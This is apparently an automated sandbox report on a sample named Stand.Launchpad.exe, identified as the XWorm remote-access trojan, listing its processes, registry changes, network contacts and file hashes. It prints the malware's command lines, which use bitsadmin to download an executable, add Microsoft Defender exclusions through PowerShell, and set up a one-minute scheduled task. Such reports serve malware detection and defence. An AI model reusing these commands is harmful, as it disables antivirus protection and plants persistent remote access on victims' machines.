Malware Analysis Report

2024-11-16 13:40

Sample ID 240531-p25ylahd4s
Target Stand.Launchpad.exe
SHA256 2aa6b748a1ee67ba3f68a53228bbc14ed8ce1285e1dde54d310e2ca8797eb779
Tags
xworm execution persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

2aa6b748a1ee67ba3f68a53228bbc14ed8ce1285e1dde54d310e2ca8797eb779

Threat Level: Known bad

The file Stand.Launchpad.exe was found to be: Known bad.

Malicious Activity Summary

xworm execution persistence rat trojan

Detect Xworm Payload

Xworm

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Drops startup file

Executes dropped EXE

Adds Run key to start application

Looks up external IP address via web service

Enumerates physical storage devices

Unsigned PE

Suspicious behavior: AddClipboardFormatListener

Suspicious use of AdjustPrivilegeToken

Creates scheduled task(s)

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

Uses Task Scheduler COM API

Download via BitsAdmin

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-31 12:50

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-31 12:50

Reported

2024-05-31 12:53

Platform

win10v2004-20240426-en

Max time kernel

149s

Max time network

145s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Stand = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Stand.exe" C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4836 wrote to memory of 1004 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Windows\SysWOW64\mshta.exe
PID 4836 wrote to memory of 1004 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Windows\SysWOW64\mshta.exe
PID 4836 wrote to memory of 1004 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Windows\SysWOW64\mshta.exe
PID 4836 wrote to memory of 1336 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
PID 4836 wrote to memory of 1336 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
PID 1004 wrote to memory of 3548 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1004 wrote to memory of 3548 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1004 wrote to memory of 3548 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1336 wrote to memory of 2004 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1336 wrote to memory of 2004 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1336 wrote to memory of 3584 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1336 wrote to memory of 3584 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1336 wrote to memory of 4060 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1336 wrote to memory of 4060 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1336 wrote to memory of 3160 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1336 wrote to memory of 3160 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1336 wrote to memory of 1276 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\schtasks.exe
PID 1336 wrote to memory of 1276 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\schtasks.exe
PID 1004 wrote to memory of 2080 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\Stand.exe
PID 1004 wrote to memory of 2080 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\Stand.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe

"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe

"C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe"

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.Launchpad.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Stand.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.exe'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Stand" /tr "C:\Users\Admin\AppData\Local\Temp\Stand.exe"

C:\Users\Admin\AppData\Local\Temp\Stand.exe

"C:\Users\Admin\AppData\Local\Temp\Stand.exe"

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.108.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
N/A 127.0.0.1:40971 tcp
US 8.8.8.8:53 stand.gg udp
US 104.21.48.235:443 stand.gg tcp
US 8.8.8.8:53 249.197.17.2.in-addr.arpa udp
US 8.8.8.8:53 192.18.21.2.in-addr.arpa udp
US 8.8.8.8:53 235.48.21.104.in-addr.arpa udp
US 104.21.48.235:443 stand.gg tcp
US 8.8.8.8:53 Name1442-40971.portmap.host udp
N/A 127.0.0.1:40971 tcp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 us3.localto.net udp
US 130.51.20.126:40971 us3.localto.net tcp
US 8.8.8.8:53 Name1442-40971.portmap.host udp
US 130.51.20.126:40971 us3.localto.net tcp
US 130.51.20.126:40971 us3.localto.net tcp
N/A 127.0.0.1:40971 tcp
US 130.51.20.126:40971 us3.localto.net tcp
US 8.8.8.8:53 Name1442-40971.portmap.host udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 130.51.20.126:40971 us3.localto.net tcp
US 8.8.8.8:53 Name1442-40971.portmap.host udp
US 8.8.8.8:53 Name1442-40971.portmap.host udp
US 130.51.20.126:40971 us3.localto.net tcp
N/A 127.0.0.1:40971 tcp
US 8.8.8.8:53 Name1442-40971.portmap.host udp

Files

memory/4836-0-0x00007FF8E8B03000-0x00007FF8E8B05000-memory.dmp

memory/4836-1-0x0000000000990000-0x00000000009B8000-memory.dmp

C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe

MD5 d51da3fa31165f2536dddad44974af34
SHA1 703a62d92fbfe23611297715ca50bb82b4ff55a1
SHA256 9cc68d4ab822bd8e5fd66f40b2c99bce04805505e593027aca67256ab63c6210
SHA512 3adfaf5e251d974a9d576c71e51e3b1c59ddee2feecf281801166cf9448a3e51e6066737c06bee20089721630f4016f16ae7297061112cb23f2fe786386e4197

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Stand.Launchpad.exe.log

MD5 2ff39f6c7249774be85fd60a8f9a245e
SHA1 684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA512 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

memory/1336-17-0x00000000001A0000-0x00000000001C0000-memory.dmp

C:\Users\Admin\AppData\Roaming\Downloader.hta

MD5 b0a6d4e05dc2225dd03902a3061a4041
SHA1 39c500eefbf78d7d51768edb6983c361213cb7b8
SHA256 05e5c927c6366bebab2fb341d233887f503fb692d8f6880f7d1327b64705c1ee
SHA512 96fb1e3046a0daddd6a17a38fcfa8ad6e00f8c4950cc7e46c8a79b24817b2f271229d15facaa510105d3c95234a9f095fdf8ff8bbb8099c47565bd955c316918

memory/1336-19-0x00007FF8E8B00000-0x00007FF8E95C1000-memory.dmp

memory/2004-20-0x0000022C60790000-0x0000022C607B2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xsycpbye.0of.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 77d622bb1a5b250869a3238b9bc1402b
SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 83685d101174171875b4a603a6c2a35c
SHA1 37be24f7c4525e17fa18dbd004186be3a9209017
SHA256 0c557845aab1da497bbff0e8fbe65cabf4cb2804b97ba8ae8c695a528af70870
SHA512 005a97a8e07b1840abdcef86a7881fd9bdc8acbfdf3eafe1dceb6374060626d81d789e57d87ca4096a39e28d5cca00f8945edff0a747591691ae75873d2b3fb5

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 ba169f4dcbbf147fe78ef0061a95e83b
SHA1 92a571a6eef49fff666e0f62a3545bcd1cdcda67
SHA256 5ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1
SHA512 8d2e5e552210dcda684682538bc964fdd8a8ff5b24cc2cc8af813729f0202191f98eb42d38d2355df17ae620fe401aad6ceaedaed3b112fdacd32485a3a0c07c

memory/2080-70-0x000002C2BF880000-0x000002C2BF896000-memory.dmp

memory/1336-83-0x00007FF8E8B00000-0x00007FF8E95C1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Stand.exe.log

MD5 baf55b95da4a601229647f25dad12878
SHA1 abc16954ebfd213733c4493fc1910164d825cac8
SHA256 ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924
SHA512 24f502fedb1a305d0d7b08857ffc1db9b2359ff34e06d5748ecc84e35c985f29a20d9f0a533bea32d234ab37097ec0481620c63b14ac89b280e75e14d19fd545

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-31 12:50

Reported

2024-05-31 12:53

Platform

win7-20240508-en

Max time kernel

149s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\Stand = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Stand.exe" C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1932 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Windows\SysWOW64\mshta.exe
PID 1932 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Windows\SysWOW64\mshta.exe
PID 1932 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Windows\SysWOW64\mshta.exe
PID 1932 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Windows\SysWOW64\mshta.exe
PID 1932 wrote to memory of 2756 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
PID 1932 wrote to memory of 2756 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
PID 1932 wrote to memory of 2756 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
PID 2120 wrote to memory of 2684 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2120 wrote to memory of 2684 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2120 wrote to memory of 2684 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2120 wrote to memory of 2684 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2756 wrote to memory of 1688 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2756 wrote to memory of 1688 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2756 wrote to memory of 1688 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2756 wrote to memory of 2792 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2756 wrote to memory of 2792 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2756 wrote to memory of 2792 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2756 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2756 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2756 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2756 wrote to memory of 2400 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2756 wrote to memory of 2400 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2756 wrote to memory of 2400 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2756 wrote to memory of 1604 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\schtasks.exe
PID 2756 wrote to memory of 1604 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\schtasks.exe
PID 2756 wrote to memory of 1604 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\schtasks.exe
PID 2832 wrote to memory of 2236 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\Stand.exe
PID 2832 wrote to memory of 2236 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\Stand.exe
PID 2832 wrote to memory of 2236 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\Stand.exe
PID 2832 wrote to memory of 1824 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\Stand.exe
PID 2832 wrote to memory of 1824 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\Stand.exe
PID 2832 wrote to memory of 1824 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\Stand.exe
PID 2832 wrote to memory of 2028 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\Stand.exe
